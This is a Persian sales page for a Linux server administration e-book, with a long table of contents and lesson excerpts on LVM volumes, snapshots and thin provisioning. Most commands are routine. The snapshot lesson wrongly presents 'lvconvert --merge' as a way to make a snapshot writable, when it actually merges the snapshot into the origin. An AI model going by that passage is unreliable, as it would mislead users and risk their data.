٪80 تخفیف

دانلود کتاب آموزشی پیشرفته مدیریت سرور های لینوکسی جلد اول

دسته‌بندی: برچسب: تاریخ به روز رسانی: 6 دی 1404 تعداد بازدید: 688 بازدید
ویژگی های محصول: پشتیبانی واتساپ

قیمت اصلی: ۲,۰۰۰,۰۰۰ تومان بود.قیمت فعلی: ۴۰۰,۰۰۰ تومان.

torobpay
هر قسط با ترب‌پی: ۱۰۰,۰۰۰ تومان
۴ قسط ماهانه. بدون سود، چک و ضامن.

این دوره بر موضوعات پیشرفته، مهارت‌های تخصصی و ابزارهای کاربردی متمرکز است:


بخش 1: سیستم فایل‌ها و ذخیره‌سازی پیشرفته

فصل 1. LVM و Snapshots

  • معرفی LVM (Logical Volume Management) و کاربردهای آن
  • نحوه ایجاد Volume Groups و Logical Volumes
  • تنظیمات Snapshots در LVM
  • استفاده از Thin Provisioning برای بهینه‌سازی فضای ذخیره‌سازی
  • عملیات مدیریتی Snapshots (حذف، بازگردانی)
  • تخصیص و استفاده از فضای ذخیره‌سازی با استفاده از LVM

فصل 2. سیستم فایل‌های پیشرفته

  • Btrfs: ویژگی‌ها و کاربردها
    • ویژگی‌های نسخه‌سازی، داده‌های چک‌شده و ذخیره‌سازی فشرده
    • نحوه پیکربندی و استفاده از Btrfs
  • ZFS: ویژگی‌ها و کاربردها
    • مدیریت ذخیره‌سازی در سطح بلوک و فایل
    • قابلیت‌های deduplication و compression
    • نحوه نصب، پیکربندی و استفاده از ZFS
  • تفاوت‌ها و مزایای استفاده از Btrfs و ZFS نسبت به سیستم فایل‌های سنتی

فصل 3. Deduplication، Compression و Checksum

  • مفهوم Deduplication در ذخیره‌سازی
  • تنظیمات Compression برای کاهش فضای ذخیره‌سازی
  • استفاده از Checksum برای صحت داده‌ها و جلوگیری از فساد اطلاعات
  • ابزارها و تنظیمات مربوط به Deduplication و Compression در سیستم‌های ذخیره‌سازی مختلف

فصل 4. مدیریت RAID

  • RAID 0: عملکرد و استفاده، مزایا و معایب
  • RAID 1: پیکربندی و استفاده، همزمان‌سازی داده‌ها
  • RAID 5: نحوه پیکربندی، محاسن و معایب، عملکرد خواندن و نوشتن
  • RAID 10: ترکیب RAID 1 و RAID 0، مزایا و کاربردها
  • استفاده از mdadm برای مدیریت RAID
    • نصب و پیکربندی RAID با mdadm
    • مدیریت Array‌ها و تغییرات در RAID

فصل 5. پروتکل‌های ذخیره‌سازی شبکه‌ای

  • NFS (Network File System): نحوه پیکربندی NFS Server و Client
    • تنظیمات امنیتی و دسترسی‌ها
    • استفاده از NFS در محیط‌های توزیع‌شده
  • iSCSI (Internet Small Computer Systems Interface): پیکربندی iSCSI Targets و Initiators
    • راه‌اندازی SAN با استفاده از iSCSI
  • CIFS/SMB: کار با پروتکل‌های فایل شبکه‌ای در سیستم‌های مختلف
    • تنظیمات اشتراک‌گذاری فایل در Linux و Windows
    • تنظیمات امنیتی و محدود کردن دسترسی‌ها

بخش 2: مدیریت شبکه پیشرفته

فصل 1. تنظیمات شبکه پیشرفته

  • VLAN و Bonding/Teaming
    • تعریف و پیکربندی VLAN (Virtual Local Area Network)
    • مفهوم و نحوه پیاده‌سازی Bonding/Teaming برای افزایش سرعت و پایداری شبکه
  • Network Bridging
    • تعریف و پیکربندی Network Bridge برای ارتباط میان شبکه‌ها
    • استفاده از bridge برای اتصال ماشین‌های مجازی به شبکه‌های فیزیکی
    • پیکربندی bridge interface

فصل 2. مانیتورینگ و عیب‌یابی شبکه

  • tcpdump
    • استفاده از tcpdump برای بررسی بسته‌های شبکه
    • فیلتر کردن بسته‌ها و ذخیره‌سازی نتایج
  • Wireshark
    • تجزیه و تحلیل بسته‌ها با Wireshark
    • بررسی مشکلات شبکه‌ای و مشاهده ترافیک زنده
  • iftop
    • نظارت بر پهنای باند مصرفی با iftop
    • شناسایی منابع ترافیک بالا
  • iperf
    • بررسی پهنای باند و عملکرد شبکه با استفاده از iperf
    • تست سرعت و عملکرد ارتباطات TCP و UDP
    • تحلیل نتایج تست‌های شبکه

فصل 3. سرویس‌های شبکه‌ای

  • راه‌اندازی و پیکربندی BIND (DNS)
    • نصب و پیکربندی BIND برای ایجاد سرور DNS
    • تنظیمات DNS Forwarding، Reverse Lookup Zone
    • ایجاد و مدیریت رکوردهای DNS (A, AAAA, MX, TXT)
  • DHCP و PXE Boot
    • راه‌اندازی سرور DHCP برای تخصیص آدرس IP به دستگاه‌ها
    • پیکربندی PXE Boot برای راه‌اندازی سیستم‌های از راه دور
  • Load Balancing با HAProxy
    • نصب و پیکربندی HAProxy برای Load Balancing ترافیک شبکه
    • پیکربندی سرورهای مختلف به عنوان Backend در HAProxy
    • استفاده از روش‌های مختلف Load Balancing (Round Robin، Least Connections)
    • تنظیمات پیشرفته HAProxy مانند SSL Termination و Health Checks

بخش 3: امنیت سیستم

فصل 1. ابزارها و سیاست‌های امنیتی

  • معرفی SELinux و AppArmor
    • پیکربندی SELinux
    • روش‌های کاربردی و مدیریت دسترسی
    • تنظیمات AppArmor برای افزایش امنیت
  • فایروال پیشرفته
    • تنظیمات iptables برای فیلتر کردن ترافیک
    • استفاده از nftables برای تنظیم قوانین جدید
    • پیکربندی firewalld برای مدیریت دینامیک قوانین
  • امنیت SSH
    • تنظیمات امنیتی SSH (Disable root login, Strong passwords)
    • استفاده از Key-based Authentication
    • پیکربندی Two-factor Authentication برای SSH
    • تنظیمات Fail2Ban برای جلوگیری از حملات Brute Force
  • نحوه استفاده از auditd برای نظارت بر تغییرات سیستم

فصل 2. امنیت شبکه و سیستم

  • IDS/IPS
    • معرفی و پیکربندی Snort به عنوان سیستم تشخیص نفوذ
    • استفاده از Suricata برای نظارت و تحلیل ترافیک شبکه
    • تحلیل گزارشات IDS/IPS و واکنش به تهدیدات
  • نظارت و آنالیز لاگ‌ها
    • استفاده از ابزارهای logwatch و syslog برای جمع‌آوری لاگ‌ها
    • آنالیز لاگ‌ها و شناسایی حملات احتمالی
    • استفاده از fail2ban برای مقابله با حملات
  • محافظت در برابر حملات DDoS
    • استفاده از ابزارهای Mitigation DDoS
    • تنظیمات جلوگیری از حملات Volume-based و Application-based

فصل 3. تقویت امنیت سیستم‌های عامل

  • Harden کردن سیستم با استفاده از sysctl
    • تنظیمات امنیتی sysctl برای جلوگیری از حملات Kernel
    • فعال‌سازی ویژگی‌های امنیتی خاص در هسته
  • تشخیص آسیب‌پذیری‌ها با استفاده از ابزارهایی مانند OpenVAS
    • اجرای اسکن امنیتی و شناسایی آسیب‌پذیری‌های رایج
    • رفع آسیب‌پذیری‌ها و به‌روزرسانی نرم‌افزارها

فصل 4. محافظت از اطلاعات و رمزنگاری

  • رمزنگاری اطلاعات حساس
    • استفاده از GPG برای رمزنگاری ایمیل‌ها و فایل‌ها
    • پیاده‌سازی LUKS برای رمزنگاری دیسک‌ها و پارتیشن‌ها
  • تنظیمات SSL/TLS
    • پیکربندی SSL/TLS برای امنیت ارتباطات وب
    • استفاده از Let’s Encrypt برای صدور گواهی SSL رایگان
  • امنیت درون شبکه
    • استفاده از VPN برای ارتباطات امن از راه دور
    • تنظیمات امنیتی برای tunneling و شبکه‌های خصوصی مجازی

فصل 5. سیاست‌ها و کنترل دسترسی

  • ایجاد سیاست‌های کنترل دسترسی بر اساس نیاز
    • استفاده از SELinux و AppArmor برای سیاست‌های امنیتی سطح سیستم
    • تنظیمات PAM (Pluggable Authentication Modules) برای احراز هویت
    • مدیریت کاربران و گروه‌ها به صورت امن و رعایت بهترین شیوه‌ها
  • Auditing و پیگیری فعالیت‌های کاربران
    • پیکربندی auditd برای ردیابی فعالیت‌های سیستم
    • استفاده از ابزارهایی مانند auditctl و ausearch برای بررسی و تحلیل رویدادها

فصل 6. مقابله با حملات

  • شناسایی و مقابله با حملات Brute Force
    • پیکربندی Fail2Ban برای جلوگیری از حملات Brute Force به سرویس‌ها
    • استفاده از خدمات Cloud-based برای Mitigation حملات
  • مقابله با حملات Zero-Day
    • پیاده‌سازی به‌روزرسانی‌های خودکار و بروزرسانی‌های امنیتی
    • ابزارهای جلوگیری از نفوذ و شناسایی آسیب‌پذیری‌ها

فصل 7. تست نفوذ و ارزیابی امنیتی

  • اجرای تست‌های نفوذ (Penetration Testing)
    • استفاده از ابزارهایی مانند Metasploit و Nessus برای ارزیابی امنیت
    • شبیه‌سازی حملات برای شناسایی آسیب‌پذیری‌های سیستم
  • تحلیل و ارزیابی امنیتی
    • ارزیابی ریسک و شناسایی نقاط ضعف سیستم
    • ایجاد سناریوهای حمله برای تست مقاومت سیستم در برابر تهدیدات

بخش 4: مدیریت پیشرفته سرویس‌ها و فرآیندها

فصل 1. سیستم‌های Init پیشرفته

  • معرفی و تفاوت‌های سیستم‌های Init قدیمی و جدید
  • پیکربندی Systemd
  • بررسی و مدیریت Systemd Units و Timers
  • استفاده از Unit Files برای مدیریت سرویس‌ها
  • مدیریت Dependency‌ها در Systemd
  • مثال‌هایی از فایل‌های Unit برای سرویس‌های مختلف

فصل 2. مدیریت cgroups و Resource Limitation

  • تعریف cgroups و اهمیت آن در مدیریت منابع
  • تنظیمات و استفاده از cgroups برای محدود کردن منابع (CPU، حافظه، I/O)
  • تخصیص منابع به سرویس‌ها و فرآیندها
  • استفاده از systemd برای پیکربندی cgroups
  • ابزارهای مانیتورینگ و کنترل منابع در cgroups

فصل 3. عیب‌یابی فرآیندها

  • ابزارهای بررسی فرآیندها: ps, top, htop
  • شبیه‌سازی وضعیت یک فرآیند و تحلیل آن
  • شناسایی و مدیریت فرآیندهای قفل‌شده
  • استفاده از ابزار strace برای بررسی سیستم کال‌ها
  • بررسی و تحلیل فایل‌های dmesg و journalctl برای خطاهای سیستم
  • مدیریت فرآیندهای Zombie و Orphan

فصل 4. ابزارهای تحلیل و عیب‌یابی فرآیندها

  • استفاده از ابزار lsof برای شناسایی فایل‌های باز شده توسط فرآیندها
  • بررسی و تحلیل اشکالات مربوط به حافظه و منابع
  • عیب‌یابی با استفاده از gdb برای دیباگ فرآیندها
  • بررسی مصرف حافظه و CPU توسط فرآیندها
  • ابزارهای اختصاصی برای تحلیل خطاهای سرویس‌ها

فصل 5. مدیریت و نظارت بر سرویس‌ها

  • راه‌اندازی سرویس‌ها با systemctl
  • نظارت بر وضعیت سرویس‌ها با systemctl status و journalctl
  • راه‌اندازی خودکار سرویس‌ها پس از بوت
  • مدیریت سرویس‌ها به صورت گروهی
  • تنظیمات سرویس‌ها برای مقیاس‌پذیری و بهره‌وری بالا

فصل 6. پیکربندی و مدیریت Daemon‌ها

  • ایجاد و پیکربندی Daemon‌ها برای سرویس‌های سفارشی
  • بررسی و مدیریت فرآیندهای در حال اجرا در پس‌زمینه
  • تنظیمات امنیتی Daemon‌ها
  • پیکربندی Logging برای Daemon‌ها
  • تنظیمات ویژه برای افزایش امنیت و پایداری Daemon‌ها

فصل 7. بررسی و تحلیل عملکرد سرویس‌ها

  • استفاده از ابزارهای Benchmark برای تحلیل عملکرد
  • تحلیل و رفع مشکلات عملکردی در سرویس‌ها
  • تنظیمات عملکردی در سطح Systemd
  • بررسی و حل مشکلات مربوط به I/O و شبکه در سرویس‌ها

بخش 5: اتوماسیون و اسکریپت‌نویسی پیشرفته

فصل 1. مدیریت پیکربندی با Ansible

  • نصب و پیکربندی Ansible
  • ساخت و اجرای Playbooks
  • ساخت و استفاده از Roles
  • مدیریت Inventory و Dynamic Inventory
  • استفاده از Variables و Facts
  • اجرای دستورات از راه دور با Ansible
  • مدیریت منابع مختلف با Ansible (مانند کاربران، سرویس‌ها و فایل‌ها)
  • تست و دیباگ Playbooks
  • مدیریت محیط‌ها و پیکربندی‌های مختلف با Ansible
  • امنیت در Ansible (Vault و Secrets Management)
  • استفاده از Ansible برای اتوماسیون پیکربندی سرورهای Linux و Windows

فصل 2. Playbooks و Roles در Ansible

  • ساخت Playbooks برای عملیات مختلف (نصب نرم‌افزار، پیکربندی شبکه، مدیریت فایل‌ها)
  • استفاده از Roles برای مدیریت ساختار Playbooks
  • نوشتن Role برای مدیریت سرویس‌ها و فرآیندها
  • پیاده‌سازی بهترین شیوه‌ها در استفاده از Roles
  • بررسی ساختار directory و فایل‌های مربوط به Roles

فصل 3. Automation در مدیریت سرورها

  • اتوماسیون نصب و پیکربندی نرم‌افزارها
  • پیاده‌سازی اتوماسیون برای مدیریت آپدیت‌های سیستم
  • مدیریت کاربران و گروه‌ها از طریق اسکریپت‌ها و Ansible
  • اتوماسیون فرآیندهای مربوط به امنیت مانند آپدیت‌های امنیتی خودکار
  • استقرار و پیکربندی سرویس‌ها به صورت خودکار (مثلاً وب‌سرورها، پایگاه‌داده‌ها)

فصل 4. اسکریپت‌نویسی پیشرفته

  • آشنایی با مبانی اسکریپت‌نویسی در Bash و Python
  • نوشتن اسکریپت‌های پیچیده با استفاده از حلقه‌ها، شرط‌ها و توابع
  • استفاده از Regular Expressions در اسکریپت‌ها
  • مدیریت خطاها و گزارش‌دهی در اسکریپت‌ها
  • استفاده از ابزارهای پردازش متن (sed، awk) برای اسکریپت‌نویسی
  • اجرای دستورات و اسکریپت‌ها به صورت موازی
  • مدیریت ورودی و خروجی (I/O) در اسکریپت‌ها
  • ساخت ابزارهای خودکار برای مدیریت سیستم و فرآیندها

فصل 5. Regular Expressions

  • آشنایی با Regular Expressions و نحوه استفاده در اسکریپت‌نویسی
  • استفاده از Regular Expressions در جستجو، جایگزینی و پردازش داده‌ها
  • کاربردهای Regular Expressions در فایل‌های لاگ و ورودی‌ها
  • مثال‌های عملی از استفاده Regular Expressions برای پردازش داده‌ها

فصل 6. ابزارهای پردازش متن (sed، awk)

  • استفاده از sed برای ویرایش فایل‌ها و داده‌ها
  • استفاده از awk برای پردازش و فیلتر کردن داده‌ها
  • مثال‌های کاربردی از sed و awk برای اصلاح فایل‌ها، گزارش‌ها و خروجی‌ها
  • ترکیب sed و awk با سایر دستورات سیستم برای اتوماسیون

[cdb_course_lessons title=”بخش 1: سیستم فایل‌ها و ذخیره‌سازی پیشرفته”][cdb_course_lesson title=”فصل 1. LVM و Snapshots”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”معرفی LVM (Logical Volume Management) و کاربردهای آن” subtitle=”توضیحات کامل”]LVM یا مدیریت حجم منطقی یک روش انعطاف‌پذیر و قدرتمند برای مدیریت فضای دیسک در سیستم‌های لینوکسی است. این روش به جای استفاده از پارتیشن‌های سنتی، لایه‌ای انتزاعی روی هارد دیسک ایجاد می‌کند که امکان تغییر اندازه، ادغام و مدیریت بهتر فضای دیسک را فراهم می‌آورد.


مزایای استفاده از LVM

  1. افزایش و کاهش اندازه پارتیشن‌ها بدون نیاز به خاموش کردن سیستم
  2. مدیریت ساده‌تر فضای دیسک از طریق ترکیب چندین دیسک در یک گروه حجمی
  3. Snapshot گیری از داده‌ها برای ایجاد بکاپ سریع و پایدار
  4. مهاجرت داده‌ها بین دیسک‌های مختلف بدون نیاز به Downtime
  5. افزودن فضای جدید بدون تأثیر بر عملکرد سیستم

ساختار LVM

LVM از سه بخش اصلی تشکیل شده است:

  1. Physical Volume (PV): دیسک فیزیکی یا پارتیشنی که برای LVM اختصاص داده شده است.
  2. Volume Group (VG): گروه حجمی که شامل یک یا چند PV می‌شود و فضای ذخیره‌سازی قابل تخصیص را فراهم می‌آورد.
  3. Logical Volume (LV): بخش منطقی که مانند یک پارتیشن عمل می‌کند و برای استفاده در فایل‌سیستم‌ها تخصیص داده می‌شود.

نصب LVM در لینوکس

در بسیاری از توزیع‌های لینوکس، LVM به‌صورت پیش‌فرض نصب است. در غیر این صورت، می‌توان آن را به‌صورت زیر نصب کرد:

# نصب LVM در توزیع‌های مبتنی بر Debian (Ubuntu, Debian)
sudo apt update && sudo apt install lvm2

# نصب LVM در توزیع‌های مبتنی بر Red Hat (CentOS, RHEL)
sudo yum install lvm2 -y

# فعال‌سازی سرویس LVM
sudo systemctl enable --now lvm2-lvmetad

ایجاد و پیکربندی LVM

1. شناسایی دیسک‌های موجود

برای مشاهده دیسک‌های متصل به سیستم:

lsblk
fdisk -l
2. ایجاد Physical Volume (PV)

ابتدا باید دیسک موردنظر را به عنوان PV مقداردهی کنیم. فرض کنیم دیسک /dev/sdb را می‌خواهیم به LVM اضافه کنیم:

sudo pvcreate /dev/sdb
3. ایجاد Volume Group (VG)

بعد از تعریف PV، باید یک VG بسازیم. برای مثال، نام VG را vg_data می‌گذاریم:

sudo vgcreate vg_data /dev/sdb
4. ایجاد Logical Volume (LV)

حالا می‌توانیم یک LV داخل VG بسازیم. فرض کنیم می‌خواهیم یک LV با اندازه 20GB ایجاد کنیم:

sudo lvcreate -L 20G -n lv_storage vg_data
5. فرمت کردن LV و مانت کردن آن

بعد از ایجاد LV، باید آن را فرمت و در سیستم مانت کنیم:

sudo mkfs.ext4 /dev/vg_data/lv_storage
sudo mkdir /mnt/storage
sudo mount /dev/vg_data/lv_storage /mnt/storage

برای اطمینان از مانت شدن:

df -h | grep /mnt/storage
6. اضافه کردن LV به /etc/fstab برای مانت خودکار

برای مانت خودکار بعد از ری‌استارت، باید مسیر LV را در فایل /etc/fstab اضافه کنیم:

echo '/dev/vg_data/lv_storage /mnt/storage ext4 defaults 0 2' | sudo tee -a /etc/fstab

افزایش فضای Logical Volume

یکی از ویژگی‌های مهم LVM امکان افزایش اندازه LV بدون از دست دادن داده است.

1. افزایش اندازه VG در صورت نیاز

اگر فضای VG پر شده باشد، می‌توان یک PV جدید اضافه کرد:

sudo pvcreate /dev/sdc
sudo vgextend vg_data /dev/sdc
2. افزایش اندازه LV

برای افزایش اندازه LV به 50GB:

sudo lvresize -L 50G /dev/vg_data/lv_storage
sudo resize2fs /dev/vg_data/lv_storage

ایجاد Snapshot در LVM

Snapshot‌ها برای تهیه بکاپ لحظه‌ای از داده‌ها استفاده می‌شوند.

sudo lvcreate -L 5G -s -n snap_backup /dev/vg_data/lv_storage

برای مشاهده Snapshot:

sudo lvs

حذف LVM

در صورت نیاز به حذف یک LV، VG یا PV، مراحل زیر را دنبال کنید:

1. Unmount کردن LV
sudo umount /mnt/storage
2. حذف LV
sudo lvremove /dev/vg_data/lv_storage
3. حذف VG
sudo vgremove vg_data
4. حذف PV
sudo pvremove /dev/sdb

جمع‌بندی

LVM یک راهکار انعطاف‌پذیر و قدرتمند برای مدیریت فضای دیسک در لینوکس است که امکان ایجاد، تغییر اندازه، snapshot گیری و مهاجرت داده‌ها را به صورت پویاتر فراهم می‌آورد. این ابزار به‌ویژه برای سرورها، سیستم‌های مجازی و محیط‌های ابری بسیار کاربردی است. در این بخش، نحوه نصب، پیکربندی، افزایش حجم، snapshot گیری و حذف LVM را همراه با دستورات کامندی ارائه کردیم. این دانش به شما امکان می‌دهد تا مدیریت دیسک را بهینه‌تر انجام دهید و از قابلیت‌های پیشرفته LVM به‌صورت عملی بهره‌مند شوید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”نحوه ایجاد Volume Groups و Logical Volumes در LVM” subtitle=”توضیحات کامل”]در LVM (مدیریت حجم منطقی)، Volume Group (VG) مجموعه‌ای از Physical Volumes (PV) است که به عنوان یک واحد ذخیره‌سازی مدیریت می‌شود. سپس از داخل یک Volume Group، می‌توان Logical Volumes (LV) ایجاد کرد که مانند پارتیشن‌های معمولی برای ذخیره داده‌ها استفاده می‌شوند.


مراحل ایجاد Volume Group و Logical Volume

۱. بررسی دیسک‌های موجود

ابتدا دیسک‌های متصل به سیستم را بررسی کنید تا ببینید کدام‌ یک برای اضافه شدن به LVM مناسب هستند.

lsblk
fdisk -l

۲. ایجاد Physical Volume (PV)

قبل از ایجاد یک Volume Group، باید دیسک‌های فیزیکی را به Physical Volume (PV) تبدیل کنیم.

sudo pvcreate /dev/sdb /dev/sdc

در این مثال، /dev/sdb و /dev/sdc به عنوان دیسک‌های فیزیکی به LVM اضافه می‌شوند.

برای بررسی وضعیت PV‌های ایجاد شده:

pvs
pvdisplay

۳. ایجاد Volume Group (VG)

برای ایجاد Volume Group از Physical Volume‌هایی که در مرحله قبل ایجاد کردیم، از دستور زیر استفاده می‌کنیم:

sudo vgcreate my_vg /dev/sdb /dev/sdc

اینجا my_vg نام گروه حجمی جدیدی است که از /dev/sdb و /dev/sdc ساخته شده است.

بررسی Volume Group‌های موجود:

vgs
vgdisplay my_vg

۴. ایجاد Logical Volume (LV)

پس از ایجاد Volume Group، حالا می‌توان یک Logical Volume درون آن ساخت. به‌عنوان مثال، ایجاد یک LV با اندازه ۵۰ گیگابایت:

sudo lvcreate -L 50G -n my_lv my_vg

برای بررسی حجم‌های منطقی:

lvs
lvdisplay /dev/my_vg/my_lv

۵. فرمت کردن و مونت کردن Logical Volume

پس از ایجاد Logical Volume، باید آن را فرمت کنیم:

sudo mkfs.ext4 /dev/my_vg/my_lv

سپس یک دایرکتوری برای مونت کردن ایجاد کرده و آن را مونت می‌کنیم:

sudo mkdir /mnt/mydata
sudo mount /dev/my_vg/my_lv /mnt/mydata

برای اینکه این تغییرات پس از ریبوت سیستم حفظ شوند، مسیر را در /etc/fstab اضافه کنید:

/dev/my_vg/my_lv /mnt/mydata ext4 defaults 0 0

جمع‌بندی

ایجاد Volume Group و Logical Volume در LVM، فرآیندی انعطاف‌پذیر برای مدیریت فضای ذخیره‌سازی است. ابتدا دیسک‌های فیزیکی را به Physical Volume (PV) تبدیل کرده، سپس یک Volume Group (VG) از آن‌ها ساخته و در نهایت Logical Volume (LV) ایجاد می‌کنیم. پس از فرمت کردن و مونت کردن LV، می‌توان از آن مانند یک پارتیشن معمولی استفاده کرد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”تنظیمات Snapshots در LVM” subtitle=”توضیحات کامل”]در LVM، اسنپ شات یک نسخه فقط‌خواندنی (یا خواندنی-نوشتنی) از یک Logical Volume (LV) است که در لحظه‌ای خاص گرفته شده و می‌توان از آن برای بازیابی اطلاعات، تهیه نسخه پشتیبان، یا آزمایش تغییرات استفاده کرد.

استفاده از Snapshots در LVM، به شما این امکان را می‌دهد که یک کپی فوری از داده‌ها بدون نیاز به کلون‌کردن فیزیکی داشته باشید، که این موضوع به‌خصوص در سرورهای عملیاتی و محیط‌های حساس بسیار مفید است.


۱. بررسی Volume Group و Logical Volumes

قبل از ایجاد Snapshot، ابتدا باید نام Volume Group و Logical Volume را بررسی کنیم:

vgs
lvs

۲. ایجاد یک Snapshot

برای ایجاد یک Snapshot از Logical Volume موردنظر، از دستور زیر استفاده کنید:

sudo lvcreate -L 10G -s -n my_snapshot /dev/my_vg/my_lv
  • -L 10G حجم Snapshot را تعیین می‌کند (باید متناسب با حجم تغییرات احتمالی باشد).
  • -s نشان‌دهنده ایجاد Snapshot است.
  • -n my_snapshot نامی که برای Snapshot انتخاب شده است.
  • /dev/my_vg/my_lv مسیر Logical Volume اصلی که Snapshot از آن گرفته می‌شود.

برای بررسی ایجاد موفق Snapshot:

lvs
lvdisplay /dev/my_vg/my_snapshot

۳. استفاده از Snapshot

یک Snapshot به‌صورت پیش‌فرض فقط‌خواندنی است. برای مشاهده فایل‌ها و دسترسی به Snapshot، می‌توان آن را روی یک مسیر خاص مونت کرد:

sudo mkdir /mnt/snapshot
sudo mount /dev/my_vg/my_snapshot /mnt/snapshot

اکنون داده‌های ذخیره‌شده در Snapshot قابل مشاهده هستند.

در صورتی که نیاز به یک Snapshot خواندنی-نوشتنی باشد، از دستور زیر استفاده کنید:

sudo lvconvert --merge /dev/my_vg/my_snapshot

۴. بازیابی Snapshot

اگر بخواهید Snapshot را به عنوان نسخه اصلی بازیابی کنید، ابتدا آن را آن‌مونت کرده و سپس با استفاده از merge آن را روی نسخه اصلی اعمال کنید:

sudo umount /mnt/snapshot
sudo lvconvert --merge /dev/my_vg/my_snapshot

پس از اجرای دستور بالا، برای اعمال تغییرات لازم است که سیستم را ریبوت کنید:

sudo reboot

۵. حذف Snapshot

در صورتی که Snapshot دیگر نیازی نداشته باشد، می‌توان آن را حذف کرد:

sudo umount /mnt/snapshot
sudo lvremove /dev/my_vg/my_snapshot

برای تأیید حذف شدن Snapshot:

lvs

جمع‌بندی

Snapshot در LVM به شما این امکان را می‌دهد که یک نسخه لحظه‌ای از داده‌های خود داشته باشید، که برای بکاپ‌گیری و بازیابی بسیار مفید است. برای ایجاد Snapshot باید یک Logical Volume داشته باشید، حجم مناسب را برای Snapshot مشخص کنید و در صورت نیاز آن را بازیابی یا حذف کنید. Snapshots به دو صورت فقط‌خواندنی و خواندنی-نوشتنی قابل استفاده هستند و می‌توانند بدون نیاز به کپی‌کردن کل داده‌ها، امنیت و انعطاف‌پذیری بالایی را فراهم کنند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”استفاده از Thin Provisioning برای بهینه‌سازی فضای ذخیره‌سازی” subtitle=”توضیحات کامل”]Thin Provisioning یکی از قابلیت‌های مهم LVM است که به شما این امکان را می‌دهد تا فضای ذخیره‌سازی را به‌صورت پویا و بهینه مدیریت کنید. برخلاف Thick Provisioning که از همان ابتدا کل فضای اختصاص‌یافته را رزرو می‌کند، در Thin Provisioning فضا در لحظه نیاز تخصیص داده می‌شود و این باعث افزایش بهره‌وری فضای دیسک خواهد شد.

این قابلیت به‌ویژه در محیط‌هایی که فضای ذخیره‌سازی محدود است یا نیاز به انعطاف‌پذیری بالایی دارند، بسیار مفید خواهد بود.


۱. بررسی پیش‌نیازهای Thin Provisioning

قبل از ایجاد Thin Pool و Thin Volume، ابتدا باید Volume Group را بررسی کنیم:

vgs
lvs

اگر Volume Group وجود ندارد، ابتدا آن را ایجاد کنید:

sudo vgcreate my_vg /dev/sdb

۲. ایجاد Thin Pool

برای استفاده از Thin Provisioning، ابتدا باید یک Thin Pool ایجاد شود. دستور زیر یک Thin Pool با حجم 50 گیگابایت در Volume Group مشخص‌شده ایجاد می‌کند:

sudo lvcreate -L 50G --thinpool my_thinpool my_vg

برای تأیید ایجاد شدن Thin Pool:

lvs -a my_vg

۳. ایجاد Thin Volume

پس از ایجاد Thin Pool، می‌توان Thin Volume را روی آن ایجاد کرد. فرض کنیم می‌خواهیم یک Logical Volume با ظرفیت 100 گیگابایت ایجاد کنیم که فقط در صورت نیاز از فضای ذخیره‌سازی استفاده کند:

sudo lvcreate -V 100G --thin -n my_thinvolume my_vg/my_thinpool

برای مشاهده Thin Volumes ایجادشده:

lvs -a my_vg

۴. فرمت و استفاده از Thin Volume

پس از ایجاد Thin Volume، آن را فرمت کرده و برای استفاده آماده می‌کنیم:

sudo mkfs.ext4 /dev/my_vg/my_thinvolume

سپس یک دایرکتوری برای مونت کردن ایجاد می‌کنیم:

sudo mkdir /mnt/thin_volume

و آن را مونت می‌کنیم:

sudo mount /dev/my_vg/my_thinvolume /mnt/thin_volume

برای اطمینان از مونت شدن، دستور زیر را اجرا کنید:

df -hT

۵. مانیتورینگ فضای مصرفی در Thin Pool

با اجرای دستور زیر، می‌توان میزان فضای مصرف‌شده در Thin Pool را بررسی کرد:

sudo lvs -a -o +thin_pool,metadata_percent,data_percent my_vg

پارامترهای مهم در این خروجی:

  • metadata_percent: نشان می‌دهد چه مقدار از فضای متادیتای Thin Pool استفاده شده است.
  • data_percent: میزان استفاده از فضای اختصاص‌یافته در Thin Pool را نشان می‌دهد.

۶. افزایش اندازه Thin Pool

اگر فضای Thin Pool رو به اتمام باشد، می‌توان آن را افزایش داد. برای مثال، افزایش 20 گیگابایت به Thin Pool:

sudo lvextend -L +20G my_vg/my_thinpool

برای تأیید تغییرات:

lvs -a my_vg

۷. حذف Thin Volume

اگر دیگر نیازی به Thin Volume نباشد، ابتدا باید آن را unmount کنیم:

sudo umount /mnt/thin_volume

سپس آن را حذف کنیم:

sudo lvremove /dev/my_vg/my_thinvolume

برای تأیید حذف شدن:

lvs -a my_vg

جمع‌بندی

Thin Provisioning در LVM به شما این امکان را می‌دهد که فضای ذخیره‌سازی را به‌صورت بهینه و پویا مدیریت کنید. این روش باعث می‌شود که فضای دیسک فقط در زمان موردنیاز اشغال شود و به این ترتیب، بهره‌وری سیستم بهبود یابد.

با استفاده از Thin Pool و Thin Volume، می‌توان بدون اشغال کردن فضای فیزیکی بیش از حد، انعطاف‌پذیری بالایی در مدیریت ذخیره‌سازی داشت. همچنین، امکان افزایش اندازه Thin Pool در صورت نیاز وجود دارد، که باعث می‌شود منابع ذخیره‌سازی با کارایی بیشتری مورد استفاده قرار بگیرند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”عملیات مدیریتی Snapshots (حذف، بازگردانی)” subtitle=”توضیحات کامل”]Snapshots در LVM ابزاری قدرتمند برای پشتیبان‌گیری از وضعیت فعلی یک Volume است. این قابلیت به شما امکان می‌دهد یک نسخه کپی از داده‌های یک Logical Volume را بدون ایجاد اختلال در عملکرد اصلی ذخیره‌سازی ایجاد کنید.

با استفاده از Snapshots، می‌توان داده‌ها را در صورت خرابی، تغییرات نامناسب، یا حذف تصادفی به وضعیت قبلی بازگرداند. در این بخش، نحوه حذف و بازگردانی Snapshots را بررسی خواهیم کرد.


۱. بررسی Snapshots موجود

برای مشاهده تمامی Snapshots ایجادشده در سیستم، از دستور زیر استفاده کنید:

sudo lvs -a -o +origin

در ستون “Origin” نام Logical Volume اصلی مشخص است که Snapshot به آن وابسته است.


۲. حذف Snapshot

اگر به یک Snapshot دیگر نیازی نداشته باشیم، می‌توان آن را با دستور lvremove حذف کرد. قبل از حذف، مطمئن شوید که Snapshot در حال استفاده نیست.

برای حذف یک Snapshot مشخص، دستور زیر را اجرا کنید:

sudo lvremove /dev/my_vg/my_snapshot

